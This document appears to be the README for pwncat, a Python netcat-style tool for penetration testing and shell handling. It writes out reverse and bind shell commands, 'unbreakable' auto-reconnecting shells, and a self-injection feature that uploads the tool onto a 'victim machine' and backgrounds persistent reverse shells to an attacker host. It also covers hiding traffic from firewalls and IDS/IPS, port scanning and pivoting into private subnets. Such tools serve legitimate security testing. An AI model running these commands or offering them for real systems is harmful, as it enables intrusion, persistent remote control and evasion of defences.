pwncat - netcat on steroids with Firewall, IDS/IPS evasion, and its fully scriptable with Python (PSE)

Pwncat is a sophisticated bind and reverses shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat.

Motivation

Ever accidentally hit Ctrl+c on your reverse shell and it was gone for good? Ever waited forever for your client to connect back to you, because the Firewall didn't let it out? Ever had a connection loss because an IPS closed suspicious ports? Ever were in need of a quick port forwarding?

Apart from that the current features of nc, ncat or socat just didn't feed my needs and I also wanted to have a single tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with. (Wait for it, binary releases for Linux, MacOS, and Windows will come shortly).

???? Install Pwncat

pip install pwncat

☕ TL;DR

This is just a quick get-you-started overview. For more advanced techniques see ???? Usage or ???? Examples.

See in action

Deploy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat

Inject to target

# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

^{[1] Read in more detail about self-injection}

Summon shells

# Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k

# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1

# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Port scan

# [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023

# [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u

# Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u

# Add version detection
pwncat -z 10.0.0.1 1-65535 --banner

Local port forward -L (listening proxy)

# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306

# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Remote port forward -R (double client proxy)

# Connect to Remote MySQL server (remote port 3306) and then connect to another
# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic
pwncat -R 10.0.0.1:4444 everythingcli.org 3306

# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

_{SSH Tunnelling for fun and profit ????
pwncat example: Port forwarding magic}

⭐ Features

At a glance

pwncat has many features, below is only a list of outstanding characteristics.

Feature comparison matrix

^{* Feature is currently under development.}

???? Behaviour

Like the original implementation of netcat, when using TCP, pwncat (in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. In case the remote peer does not terminate the connection or in UDP mode, netcat and pwncat will stay open. The behavior differs a bit when STDIN is closed.

1. netcat: If STDIN is closed, but the connection stays open, netcat will stay open
2. pwncat: If STDIN is closed, but the connection stays open, pwncat will close

You can emulate the netcat behavior with --no-shutdown command-line argument.

Have a look at the following commands to better understand this behavior:

# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

# [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80

# [TCP]
# Both instances will quit after successful file transfer.
pwncat -l 4444 > output.txt
pwncat localhost 4444 < input.txt

# [TCP]
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will quit as well.
pwncat -l 4444 --no-shutdown > output.txt
pwncat localhost 4444 --no-shutdown < input.txt

# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

???? Documentation

Documentation will evolve over time.

• API docs can be found here: pwncat.api.html
• Python type coverage can be found here: pwncat.type.html
• HTML man page can be found here: pwncat.man.html
• Raw man page can be found here: pwncat.1

???? Usage

Keys

Behaviour
Quit (SIGINT)	Ctrl+c	Ctrl+c	Ctrl+c
Quit (SIGQUIT)	Ctrl+\	?	?
Quit (SIGQUIT)	Ctrl+4	?	?
Quit STDIN[1]	Ctrl+d	Ctrl+d	Ctrl+z and Ctrl+Enter
Send (NL)	Ctrl+j	?	?
Send (EOL)	Ctrl+m	?	?
Send (EOL)	Enter	Enter	Enter

^{[1] Only works when not using --no-shutdown and --keep. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket.}

usage: pwncat [options] hostname port
       pwncat [options] -l [hostname] port
       pwncat [options] -z hostname port
       pwncat [options] -L [addr:]port hostname port
       pwncat [options] -R addr:port hostname port
       pwncat -V, --version
       pwncat -h, --help


Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.

positional arguments:
  hostname              Address to listen, forward, scan or connect to.

  port                  [All modes]
                        Single port to listen, forward or connect to.
                        [Zero-I/O mode]
                        Specify multiple ports to scan:
                        Via list:  4444,4445,4446
                        Via range: 4444-4446
                        Via incr:  4444+2

mode arguments:
  -l, --listen          [Listen mode]:
                        Start a server and listen for incoming connections.
                        If using TCP and a connected client disconnects or the
                        connection is interrupted otherwise, the server will
                        quit. See -k/--keep-open to change this behaviour.

  -z, --zero            [Zero-I/0 mode]:
                        Connect to a remote endpoint and report status only.
                        Used for port scanning.
                        See --banner for version detection.

  -L [addr:]port, --local [addr:]port
                        [Local forward mode]:
                        This mode will start a server and a client internally.
                        The internal server will listen locally on specified
                        addr/port (given by --local [addr:]port).
                        The server will then forward traffic to the internal
                        client which connects to another server specified by
                        hostname/port given via positional arguments.
                        (I.e.: proxies a remote service to a local address)

  -R addr:port, --remote addr:port
                        [Remote forward mode]:
                        This mode will start two clients internally. One is
                        connecting to the target and one is connecting to
                        another pwncat/netcat server you have started some-
                        where. Once connected, it will then proxy traffic
                        between you and the target.
                        This mode should be applied on machines that block
                        incoming traffic and only allow outbound.
                        The connection to your listening server is given by
                        -R/--remote addr:port and the connection to the
                        target machine via the positional arguments.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.

  -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                        line endings for input and outout accordingly. Specify
                        'no' to completely remove any line feeds. By default
                        it will not replace anything and takes what is entered
                        (usually CRLF on Windows, LF on Linux and some times
                        CR on MacOS).

  -n, --nodns           Do not resolve DNS.

  --send-on-eof         Buffer data received on stdin until EOF and send
                        everything in one chunk.

  --no-shutdown         Do not shutdown into half-duplex mode.
                        If this option is passed, pwncat won't invoke shutdown
                        on a socket after seeing EOF on stdin. This is provided
                        for backward-compatibility with OpenBSD netcat, which
                        exhibits this behavior.

  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                        or -vvvv for more verbosity. The server performance will
                        decrease drastically if you use more than three times.

  --info type           Show additional info about sockets, IPv4/6 or TCP opts
                        applied to the current socket connection. Valid
                        parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
                        Note, you must at least be in INFO verbose mode in order
                        to see them (-vv).

  -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                        In 'auto' mode, color is displayed as long as the output
                        goes to a terminal. If it is piped into a file, color
                        will automatically be disabled. This mode also disables
                        color on Windows by default. (default: auto)

  --safe-word str       All modes:
                        If pwncat is started with this argument, it will shut
                        down as soon as it receives the specified string. The
                        --keep-open (server) or --reconn (client) options will
                        be ignored and it won't listen again or reconnect to you.
                        Use a very unique string to not have it shut down
                        accidentally by other input.

protocol arguments:
  -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).

  -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).

  -u, --udp             Use UDP for the connection instead of TCP.

  -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.
                        Valid values are the tokens 'mincost', 'lowcost',
                        'reliability', 'throughput' or 'lowdelay'.

  --http                Connect / Listen mode (TCP and UDP):
                        Hide traffic in http packets to fool Firewalls/IDS/IPS.

  --https               Connect / Listen mode (TCP and UDP):
                        Hide traffic in https packets to fool Firewalls/IDS/IPS.

  -H [str [str ...]], --header [str [str ...]]
                        Add HTTP headers to your request when using --http(s).

command & control arguments:
  --self-inject cmd:host:port[s]
                        Listen mode (TCP only):
                        If you are about to inject a reverse shell onto the
                        victim machine (via php, bash, nc, ncat or similar),
                        start your listening server with this argument.
                        This will then (as soon as the reverse shell connects)
                        automatically deploy and background-run an unbreakable
                        pwncat reverse shell onto the victim machine which then
                        also connects back to you with specified arguments.
                        Example: '--self-inject /bin/bash:10.0.0.1:4444'
                        It is also possible to launch multiple reverse shells by
                        specifying multiple ports.
                        Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
                        Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
                        Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
                        Note: this is currently an experimental feature and does
                        not work on Windows remote hosts yet.

pwncat scripting engine:
  --script-send file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed before
                        sending data to a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

  --script-recv file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed after
                        receiving data from a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

zero-i/o mode arguments:
  --banner              Zero-I/O (TCP and UDP):
                        Try banner grabbing during port scan.

listen mode arguments:
  -k, --keep-open       Listen mode (TCP only):
                        Re-accept new clients in listen mode after a client has
                        disconnected or the connection is interrupted otherwise.
                        (default: server will quit after connection is gone)

  --rebind [x]          Listen mode (TCP and UDP):
                        If the server is unable to bind, it will re-initialize
                        itself x many times before giving up. Omit the
                        quantifier to rebind endlessly or specify a positive
                        integer for how many times to rebind before giving up.
                        See --rebind-robin for an interesting use-case.
                        (default: fail after first unsuccessful try).

  --rebind-wait s       Listen mode (TCP and UDP):
                        Wait x seconds between re-initialization. (default: 1)

  --rebind-robin port   Listen mode (TCP and UDP):
                        If the server is unable to initialize (e.g: cannot bind
                        and --rebind is specified, it it will shuffle ports in
                        round-robin mode to bind to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --rebind to at least the number of ports to probe +1
                        This option requires --rebind to be specified.

connect mode arguments:
  --source-addr addr    Specify source bind IP address for connect mode.

  --source-port port    Specify source bind port for connect mode.

  --reconn [x]          Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted, the client will connect again x many
                        times before giving up. Omit the quantifier to retry
                        endlessly or specify a positive integer for how many
                        times to retry before giving up.
                        (default: quit if the remote is not available or the
                        connection was interrupted)
                        This might be handy for stable TCP reverse shells ;-)
                        Note on UDP:
                        By default UDP does not know if it is connected, so
                        it will stop at the first port and assume it has a
                        connection. Consider using --udp-sconnect with this
                        option to make UDP aware of a successful connection.

  --reconn-wait s       Connect mode (TCP and UDP):
                        Wait x seconds between re-connects. (default: 1)

  --reconn-robin port   Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted and --reconn is specified, the client
                        will shuffle ports in round-robin mode to connect to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --reconn to at least the number of ports to probe +1
                        This helps reverse shell to evade intrusiona prevention
                        systems that will cut your connection and block the
                        outbound port.
                        This is also useful in Connect or Zero-I/O mode to
                        figure out what outbound ports are allowed.

  --ping-init           Connect mode (TCP and UDP):
                        UDP is a stateless protocol unlike TCP, so no hand-
                        shake communication takes place and the client just
                        sends data to a server without being "accepted" by
                        the server first.
                        This means a server waiting for an UDP client to
                        connect to, is unable to send any data to the client,
                        before the client hasn't send data first. The server
                        simply doesn't know the IP address before an initial
                        connect.
                        The --ping-init option instructs the client to send one
                        single initial ping packet to the server, so that it is
                        able to talk to the client.
                        This is a way to make a UDP reverse shell work.
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-intvl s        Connect mode (TCP and UDP):
                        Instruct the client to send ping intervalls every s sec.
                        This allows you to restart your UDP server and just wait
                        for the client to report back in. This might be handy
                        for stable UDP reverse shells ;-)
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-word str       Connect mode (TCP and UDP):
                        Change the default character '\0' to use for upd ping.
                        Single character or strings are supported.

  --ping-robin port     Connect mode (TCP and UDP):
                        Instruct the client to shuffle the specified ports in
                        round-robin mode for a remote server to ping.
                        This might be handy to scan outbound allowed ports.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Use --ping-intvl 0 to be faster.

  --udp-sconnect        Connect mode (UDP only):
                        Emulating stateful behaviour for UDP connect phase by
                        sending an initial packet to the server to validate if
                        it is actually connected.
                        By default, UDP will simply issue a connect and is not
                        aware if it is really connected or not.
                        The default connect packet to be send is '\0', you
                        can change this with --udp-sconnect-word.

  --udp-sconnect-word [str]
                        Connect mode (UDP only):
                        Change the the data to be send for UDP stateful connect
                        behaviour. Note you can also omit the string to send an
                        empty packet (EOF), but be aware that some servers such
                        as netcat will instantly quit upon receive of an EOF
                        packet.
                        The default is to send a null byte sting: '\0'.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

Type pwncat -h or click below to see all available options.

???? Examples

Upgrade your shell to interactive

This is a universal advice and not only works with pwncat, but with all other common tools.

When connected with a reverse or bind shell you'll notice that no interactive commands will work and hitting Ctrl+c will terminate your session. To fix this, you'll need to attach it to a TTY (make it interactive). Here's how:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z

# get your current terminal size (rows and columns)
stty size

# for bash/sh (enter raw mode and disable echo'ing)
stty raw -echo
fg

# for zsh (enter raw mode and disable echo'ing)
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm
stty rows <num> columns <cols>   # <num> and <cols> values found above by 'stty size'

^{[1] Reverse Shell Cheatsheet}

UDP reverse shell

Without tricks, a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a connect() method as TCP does. In TCP mode, the server will know the client IP and port, once the client issues a connects(). In UDP mode, as there is no connect(), the client simply sends data to an address/port without having to connect first. Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first. The only way to make this possible is to have the client send some sort of data to the server first so that the server can see what IP/port has sent data to it.

pwncat emulates the TCP connect() by having the client send a null byte to the server once or periodically via --ping-intvl or --ping-init.

# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Unbreakable TCP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# -reconn          # Automatically reconnect back to you indefinitely
# --reconn-wait     # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

Unbreakable UDP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep sending null bytes to the server to constantly announce itself.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Self-injecting reverse shell

Let's imagine you are able to create a very simple and unstable reverse shell from the target to your machine, such as a web shell via a PHP script or similar. Knowing, that this will not persist very long or might break due to unstable network connection, you could use pwncat to hook into this connection and deploy itself unbreakably on the target - fully automated.

All you have to do is use pwncat as your local listener and start it with the --self-inject switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:

1. Enumerate Python availability and versions on the target
2. Dump itself base64 encoded onto the target
3. Use the target's Python to decode itself.
4. Use the target's Python to start itself as an unbreakable reverse shell back to you

Once this is done, you can keep using the current connection or simply abandon it and start a new listener (yes, you don't need to start the listener before starting the reverse shell) to have the new pwncat client connects to you. The new listener also doesn't have to be pwncat, it can also be netcat or ncat.

The --self-inject switch:

pwncat -l 4444 --self-inject <cmd>:<host>:<port>

• <cmd>: This is the command to start on the target (like -e/--exec, so you want it to be cmd.exe or /bin/bash)
• <host>: This is for your local machine, the IP address to where the reverse shell shall connect back to
• <port>: This is for your local machine, the port on which the reverse shell shall connect back to

So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port 4444:

# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

You will then see something like this:

[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

And you are set. You can now start another listener locally at 4445 (again, it will connect back to you endlessly, so it is not required to start the listener first).

# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Unlimited self-injecting reverse shells

Instead of just asking for a single self-injecting reverse shell, you can instruct pwncat to spawn as many unbreakable reverse shells connecting back to you as you desire.

The --self-inject argument allows you to not only define a single port, but also

1. A comma separated list of ports: 4445,4446,4447,4448
2. A range definition: 4446-4448
3. An increment: 4445+3

In order to spawn 4 reverse shells you would start your listener just as described above, but instead of a single port, you define multiple:

# Comma separated
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

# Range
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

# Increment
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

Each of the above three commands will achieve the same behavior: spawning 4 reverse shells inside the target. Once the client connects, the output will look something like this:

[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

Logging

Note: Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.

Log level and redirection

If you feel like it, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot. Log messages are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file. You can also manually disable colored logging for terminal outputs via the --color switch.

pwncat -vvvv -l 4444

You will see (among all the gibberish) a TRACE message:

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:

pwncat -l 4444

Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.

Having no info messages at all, is also sometimes not desirable. You might want to know what is going on behind the scenes or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:

pwncat -l -vvv 4444 2> comm.txt

Now all you'll see in your terminal session are the actual command inputs and outputs. If you want to see what's going on behind the scene, open a second terminal window and tail the comm.txt file:

# View communication info
tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Socket information

Another useful feature is to display currently configured socket and network settings. Use the --info switch with either socket, ipv4, ipv6, tcp or all to display all available settings.

Note: In order to view those settings, you must at least be at INFO log level (-vv).

An example output in IPv4/TCP mode without any custom settings is shown below:

INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

Port forwarding magic

Local TCP port forwarding

Scenario

1. Alice can be reached from the Outside (TCP/UDP)
2. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat 72.0.0.1 3306     |      pwncat \                 |
                              |        -L 72.0.0.1:3306 \     |
                              |         10.0.0.1 3306         |

Local UDP port forwarding

Scenario

1. Alice can be reached from the Outside (but only via UDP)
2. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Remote TCP port forward

Scenario

1. Alice cannot be reached from the Outside
2. Alice is allowed to connect to the Outside (TCP/UDP)
3. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -l 4444           |      pwncat --reconn \        |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Remote UDP port forward

Scenario

1. Alice cannot be reached from the Outside
2. Alice is allowed to connect to the Outside (UDP: DNS only)
3. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
